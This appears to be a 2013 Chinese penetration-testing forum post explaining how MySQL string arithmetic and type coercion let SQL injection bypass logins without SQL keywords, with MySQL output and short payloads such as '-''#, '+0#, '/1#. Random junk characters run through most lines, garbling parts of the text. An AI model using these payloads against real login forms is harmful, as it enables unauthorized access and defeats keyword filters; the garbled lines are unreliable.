中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。
8 B( Q2 N" R8 |0 q有以下表结构:
) }6 ?+ @8 F, K- X+ m+ w8 Y& L* p/ t- e9 x
mysql> desc admin;
) G# z! c1 t5 A, |: w2 ]+----------+--------------+------+-----+---------+----------------+! v/ H" b; y7 m
| Field    | Type         | Null | Key | Default | Extra          |  Y6 C5 V% s3 b* O
+----------+--------------+------+-----+---------+----------------+/ \8 u$ I  G9 v2 L1 E) d6 D4 l+ t7 B
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |4 S  L/ @/ P9 Q; A% z/ O; ^
| name     | char(32)     | NO   | UNI | NULL    |                |' E% B: P8 t5 A* P2 h7 M1 Q
| password | char(32)     | NO   | UNI | NULL    |                |' ]0 h* U( A2 t& z9 v1 X+ @! R2 l
+----------+--------------+------+-----+---------+----------------+
* }  o4 Q( l' k5 [8 l$ W1 L, a, i' t3 rows in set (0.00 sec)
/ [7 K* S1 H& v( u( y+ [# j执行select * from admin;,成功返回所有记录内容。
, e# w" T! v. o" l6 T$ {- i2 D  j) G5 T6 m' t+ t" d$ Y

4 d1 S7 u1 m; |+----+--------+----------------------------------+; A) b0 Q$ A8 s  }
| id | name   | password                         |, i8 {7 n4 U. S" Q3 q% E, p  B
+----+--------+----------------------------------+2 P2 H0 C% A. B1 q0 `
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |0 |2 f& V- [, D6 f
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |4 _& e3 F  L) E/ w. D% \
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
/ s  K( y# c7 x/ D+----+--------+----------------------------------+3 K* h8 A7 F" W+ N9 P
3 rows in set (0.00 sec)
( d: q. ~7 J1 f; m* V4 w* N+ ~执行select * from admin where name=”;,没有匹配到任何记录。
' {2 u# D+ q' h% L
) y$ h' t9 R+ q3 e4 ]mysql> select * from admin where name = '';0 x" g4 o- x1 Q
Empty set (0.00 sec)" j  }) k4 `: O; J$ w
那么我们来执行select * from admin where name = ”-”;0 Y4 j3 Q1 ^" t

7 B  t0 V) A4 w0 ]$ I  l5 Z7 u* N# R0 E9 o  {0 i
+----+--------+----------------------------------+6 {$ j1 [7 _4 q) \; Q2 C
| id | name   | password                         |) k! m' b/ w! [! O+ m$ Q8 N8 h
+----+--------+----------------------------------+& z1 D% c+ g6 n- Q& m. M% ~
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |8 K+ l: k0 q9 @% l8 f1 R* M
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" P: P% F3 h8 C7 Y: }- w
|  4 | n00b   | ff80e8508d39047460921792273533a4 |0 G& A7 O/ @0 B  Y' {9 [$ I! v3 W
+----+--------+----------------------------------+' x. ~2 F/ D/ k3 r, r1 T* x% Y
3 rows in set, 3 warnings (0.00 sec)
6 N+ P# R3 [7 q2 j' Z可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
4 a4 k# c: j  x; n& v  J
- U$ [1 T' t& c' W0 p2 m3 M0 Pmysql> show warnings;3 q' W) X/ t- c
+---------+------+------------------------------------------
& i( |4 V# |0 ^6 f/ ^! l| Level   | Code | Message
; s+ G$ C  R: s* Z+---------+------+------------------------------------------  }" l' b; n( X7 `& q5 H$ B6 F! R+ X
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
0 c6 \- ]4 y2 Z' h7 Q, K| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
) g( w3 ]$ E3 B% j6 M| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b' p" q& H" S/ }' D- w2 U2 g4 z! O" K
+---------+------+------------------------------------------
8 z( s5 J$ B1 r& \4 r1 U) B5 X4 q3 rows in set (0.00 sec)
0 U2 I4 Z/ S& p. i$ r, I提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 - H: t1 F) b0 g& t- J1 {9 S
5 `6 ]7 C" q' k9 e; O% j& z
mysql> select ''-'';' O. o3 ^1 o* r' q, i
+-------++ C8 N; `, y3 T5 c5 r, q# B; f
| ''-'' |
6 t: ]1 w  r$ f* Q9 Z  ~+-------+
) b9 ~3 \: ~2 @# n|     0 |
8 t- b0 Y. a  a1 [$ G) h, K+-------+8 ?1 x/ ]' u' L6 Y6 k* j  S
1 row in set (0.00 sec). ~  r: b" H# [, l. w
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
6 p+ @9 E/ z  x' p
6 N/ K2 B9 Z6 B; wmysql> select CAST((select name from admin limit 1,1) as DECIMAL);( A2 Z- w! e% ]) i- @7 f8 p- ^: e
+-----------------------------------------------------+" J- L3 P3 L, y$ s# A
| CAST((select name from admin limit 1,1) as DECIMAL) |
* P+ [; a- K1 }% v. e3 J" ^+-----------------------------------------------------+) i- I9 M( M3 \1 C8 p& w4 ]2 j
|                                                   0 |
; ~& E, `) P8 F+-----------------------------------------------------+
" A0 [" A7 ?- o$ F1 P1 row in set, 1 warning (0.00 sec)3 I' c+ c! K: X
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 7 H- @1 M1 C# c+ C5 Q8 Q. h

7 v5 p# d5 \# r' j* F$ xSQL注入场景: http://www.sqlzoo.net/hack/
$ N2 r# w5 l3 G4 k* x2 d4 `5 t& m; B* S* L
' U( D$ A1 r& Y/ m* A! I+ y
5 K% V8 ^7 s3 D
; j& F) S) Z& o2 E# M5 Q. p
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ; }& @* R$ }6 @; q2 e0 c9 O, \
8 L! a0 u) u& M# I' {$ W
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
, D8 h8 z# o0 t2 R- ]5 x1 \
- _4 M7 y$ d) L% z6 ^! M$ |7 y% w; W0 f8 T! N0 x

) e$ V" P: j1 e6 L' f' q7 h& n9 |) s# F: j
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ! U! V1 L7 ^. i; d
9 M2 f! P/ |; k" i' u+ f
   
# V) |' X$ q2 {- y# d5 T" t) p- x. _# n: }* V$ r
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可6 ?, I( u$ w  P8 v* f# {- e
& }7 v. f, i' T* d2 `# R2 Q; q

; u6 S) \6 [; O/ j: e3 ^0 {0 e6 {) t' Nmysql> select ''/1;
* j2 d  z& Z8 e- l1 q+------+. O8 [! N% w1 O6 e% E8 d
| ''/1 |, Q& ~- Z! r& I3 o$ c1 C
+------+3 ~3 S- r7 [9 I& O
|    0 |
5 F& P2 o$ i8 Q1 K' r+------+
, D0 Q1 m% M0 v* j: W4 N, O8 f1 row in set (0.00 sec)
# n/ E$ i  \% Y; }3 p$ r类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  & M2 y. m+ f1 D3 R8 `
" S, o+ T4 G1 B
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。% z0 ]% W' L; H# }





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2